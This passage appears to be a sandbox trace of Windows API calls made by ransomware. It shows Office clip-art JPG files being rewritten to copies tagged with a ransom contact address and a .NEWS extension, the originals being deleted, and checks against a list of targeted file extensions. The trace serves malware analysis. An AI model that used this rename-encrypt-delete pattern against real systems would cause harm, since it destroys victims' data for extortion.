Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0165.273] GetLastError () returned 0x0 [0165.273] ReadFile (in: hFile=0x4f4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x3682, lpOverlapped=0x0) returned 1 [0165.308] WriteFile (in: hFile=0x518, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x3690, lpOverlapped=0x0) returned 1 [0165.309] ReadFile (in: hFile=0x4f4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0165.309] WriteFile (in: hFile=0x518, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0165.309] SetEndOfFile (hFile=0x518) returned 1 [0165.310] CloseHandle (hObject=0x518) returned 1 [0165.310] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.310] SetEndOfFile (hFile=0x4f4) returned 1 [0165.314] CloseHandle (hObject=0x4f4) returned 1 [0165.314] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0165.314] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg")) returned 1 [0165.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0165.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0165.316] lstrlenW (lpString=".doc") returned 4 [0165.316] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0165.316] lstrlenW (lpString=".docx") returned 5 [0165.316] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0165.316] lstrlenW (lpString=".pdf") returned 4 [0165.316] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0165.316] lstrlenW (lpString=".xls") returned 4 [0165.316] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0165.316] lstrlenW (lpString=".xlsx") returned 5 [0165.316] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0165.316] lstrlenW (lpString=".ppt") returned 4 [0165.316] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0165.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0165.316] lstrlenW (lpString=".zip") returned 4 [0165.316] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0165.316] lstrlenW (lpString=".rar") returned 4 [0165.316] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0165.316] lstrlenW (lpString=".bz2") returned 4 [0165.316] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0165.316] lstrlenW (lpString=".7z") returned 3 [0165.316] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0165.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0165.316] lstrlenW (lpString=".dbf") returned 4 [0165.316] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0165.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0165.316] lstrlenW (lpString=".1cd") returned 4 [0165.316] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0165.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0165.316] lstrlenW (lpString=".jpg") returned 4 [0165.316] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0165.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0165.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0165.317] lstrlenW (lpString=".doc") returned 4 [0165.317] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0165.317] lstrlenW (lpString=".docx") returned 5 [0165.317] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0165.317] lstrlenW (lpString=".pdf") returned 4 [0165.317] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0165.317] lstrlenW (lpString=".xls") returned 4 [0165.317] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0165.317] lstrlenW (lpString=".xlsx") returned 5 [0165.317] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0165.317] lstrlenW (lpString=".ppt") returned 4 [0165.317] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0165.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0165.317] lstrlenW (lpString=".zip") returned 4 [0165.317] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0165.317] lstrlenW (lpString=".rar") returned 4 [0165.317] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0165.317] lstrlenW (lpString=".bz2") returned 4 [0165.317] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0165.317] lstrlenW (lpString=".7z") returned 3 [0165.317] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0165.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0165.317] lstrlenW (lpString=".dbf") returned 4 [0165.317] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0165.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0165.317] lstrlenW (lpString=".1cd") returned 4 [0165.317] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0165.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0165.317] lstrlenW (lpString=".jpg") returned 4 [0165.317] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0165.318] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0165.318] lstrlenW (lpString="J0099157.JPG") returned 12 [0165.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0165.318] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=9671) returned 1 [0165.318] CloseHandle (hObject=0x4f4) returned 1 [0165.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg")) returned 0x220 [0165.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0165.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0165.319] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.319] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0165.320] GetLastError () returned 0x0 [0165.320] ReadFile (in: hFile=0x4f4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x25c7, lpOverlapped=0x0) returned 1 [0165.322] WriteFile (in: hFile=0x518, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x25d0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x25d0, lpOverlapped=0x0) returned 1 [0165.731] ReadFile (in: hFile=0x4f4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0165.731] WriteFile (in: hFile=0x518, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0165.731] SetEndOfFile (hFile=0x518) returned 1 [0165.735] CloseHandle (hObject=0x518) returned 1 [0165.736] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.736] SetEndOfFile (hFile=0x4f4) returned 1 [0165.738] CloseHandle (hObject=0x4f4) returned 1 [0165.738] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0165.739] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg")) returned 1 [0165.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0165.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0165.740] lstrlenW (lpString=".doc") returned 4 [0165.740] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0165.740] lstrlenW (lpString=".docx") returned 5 [0165.740] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0165.740] lstrlenW (lpString=".pdf") returned 4 [0165.740] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0165.740] lstrlenW (lpString=".xls") returned 4 [0165.740] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0165.740] lstrlenW (lpString=".xlsx") returned 5 [0165.740] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0165.740] lstrlenW (lpString=".ppt") returned 4 [0165.740] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0165.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0165.740] lstrlenW (lpString=".zip") returned 4 [0165.740] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0165.740] lstrlenW (lpString=".rar") returned 4 [0165.740] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0165.740] lstrlenW (lpString=".bz2") returned 4 [0165.740] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0165.740] lstrlenW (lpString=".7z") returned 3 [0165.740] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0165.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0165.740] lstrlenW (lpString=".dbf") returned 4 [0165.740] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0165.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0165.740] lstrlenW (lpString=".1cd") returned 4 [0165.740] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0165.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0165.740] lstrlenW (lpString=".jpg") returned 4 [0165.740] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0165.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0165.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0165.741] lstrlenW (lpString=".doc") returned 4 [0165.741] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0165.741] lstrlenW (lpString=".docx") returned 5 [0165.741] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0165.741] lstrlenW (lpString=".pdf") returned 4 [0165.741] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0165.741] lstrlenW (lpString=".xls") returned 4 [0165.741] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0165.741] lstrlenW (lpString=".xlsx") returned 5 [0165.741] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0165.741] lstrlenW (lpString=".ppt") returned 4 [0165.741] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0165.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0165.741] lstrlenW (lpString=".zip") returned 4 [0165.741] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0165.741] lstrlenW (lpString=".rar") returned 4 [0165.741] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0165.741] lstrlenW (lpString=".bz2") returned 4 [0165.741] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0165.741] lstrlenW (lpString=".7z") returned 3 [0165.741] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0165.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0165.741] lstrlenW (lpString=".dbf") returned 4 [0165.741] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0165.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0165.741] lstrlenW (lpString=".1cd") returned 4 [0165.741] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0165.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0165.741] lstrlenW (lpString=".jpg") returned 4 [0165.741] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0165.742] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0165.742] lstrlenW (lpString="J0099166.JPG") returned 12 [0165.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0165.742] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=64767) returned 1 [0165.742] CloseHandle (hObject=0x4f4) returned 1 [0165.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg")) returned 0x220 [0165.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0165.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0165.743] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.743] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0165.921] GetLastError () returned 0x0 [0165.921] ReadFile (in: hFile=0x4f4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0xfcff, lpOverlapped=0x0) returned 1 [0165.964] WriteFile (in: hFile=0x548, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xfd00, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xfd00, lpOverlapped=0x0) returned 1 [0165.966] ReadFile (in: hFile=0x4f4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0165.966] WriteFile (in: hFile=0x548, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0165.967] SetEndOfFile (hFile=0x548) returned 1 [0165.967] CloseHandle (hObject=0x548) returned 1 [0165.967] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.967] SetEndOfFile (hFile=0x4f4) returned 1 [0165.971] CloseHandle (hObject=0x4f4) returned 1 [0165.971] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0165.971] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg")) returned 1 [0165.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0165.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0165.972] lstrlenW (lpString=".doc") returned 4 [0165.972] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0165.972] lstrlenW (lpString=".docx") returned 5 [0165.972] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0165.972] lstrlenW (lpString=".pdf") returned 4 [0165.972] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0165.972] lstrlenW (lpString=".xls") returned 4 [0165.972] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0165.972] lstrlenW (lpString=".xlsx") returned 5 [0165.972] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0165.972] lstrlenW (lpString=".ppt") returned 4 [0165.972] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0165.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0165.972] lstrlenW (lpString=".zip") returned 4 [0165.972] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0165.972] lstrlenW (lpString=".rar") returned 4 [0165.972] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0165.972] lstrlenW (lpString=".bz2") returned 4 [0165.972] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0165.973] lstrlenW (lpString=".7z") returned 3 [0165.973] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0165.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0165.973] lstrlenW (lpString=".dbf") returned 4 [0165.973] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0165.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0165.973] lstrlenW (lpString=".1cd") returned 4 [0165.973] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0165.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0165.973] lstrlenW (lpString=".jpg") returned 4 [0165.973] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0165.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0165.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0165.973] lstrlenW (lpString=".doc") returned 4 [0165.973] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0165.973] lstrlenW (lpString=".docx") returned 5 [0165.973] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0165.973] lstrlenW (lpString=".pdf") returned 4 [0165.973] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0165.973] lstrlenW (lpString=".xls") returned 4 [0165.973] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0165.973] lstrlenW (lpString=".xlsx") returned 5 [0165.973] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0165.973] lstrlenW (lpString=".ppt") returned 4 [0165.973] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0165.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0165.973] lstrlenW (lpString=".zip") returned 4 [0165.973] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0165.973] lstrlenW (lpString=".rar") returned 4 [0165.973] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0165.973] lstrlenW (lpString=".bz2") returned 4 [0165.973] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0165.974] lstrlenW (lpString=".7z") returned 3 [0165.974] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0165.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0165.974] lstrlenW (lpString=".dbf") returned 4 [0165.974] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0165.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0165.974] lstrlenW (lpString=".1cd") returned 4 [0165.974] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0165.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0165.974] lstrlenW (lpString=".jpg") returned 4 [0165.974] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0165.974] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0165.974] lstrlenW (lpString="J0099167.JPG") returned 12 [0165.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0165.975] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=43949) returned 1 [0165.975] CloseHandle (hObject=0x4f4) returned 1 [0165.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg")) returned 0x220 [0165.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0165.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0165.976] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.976] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 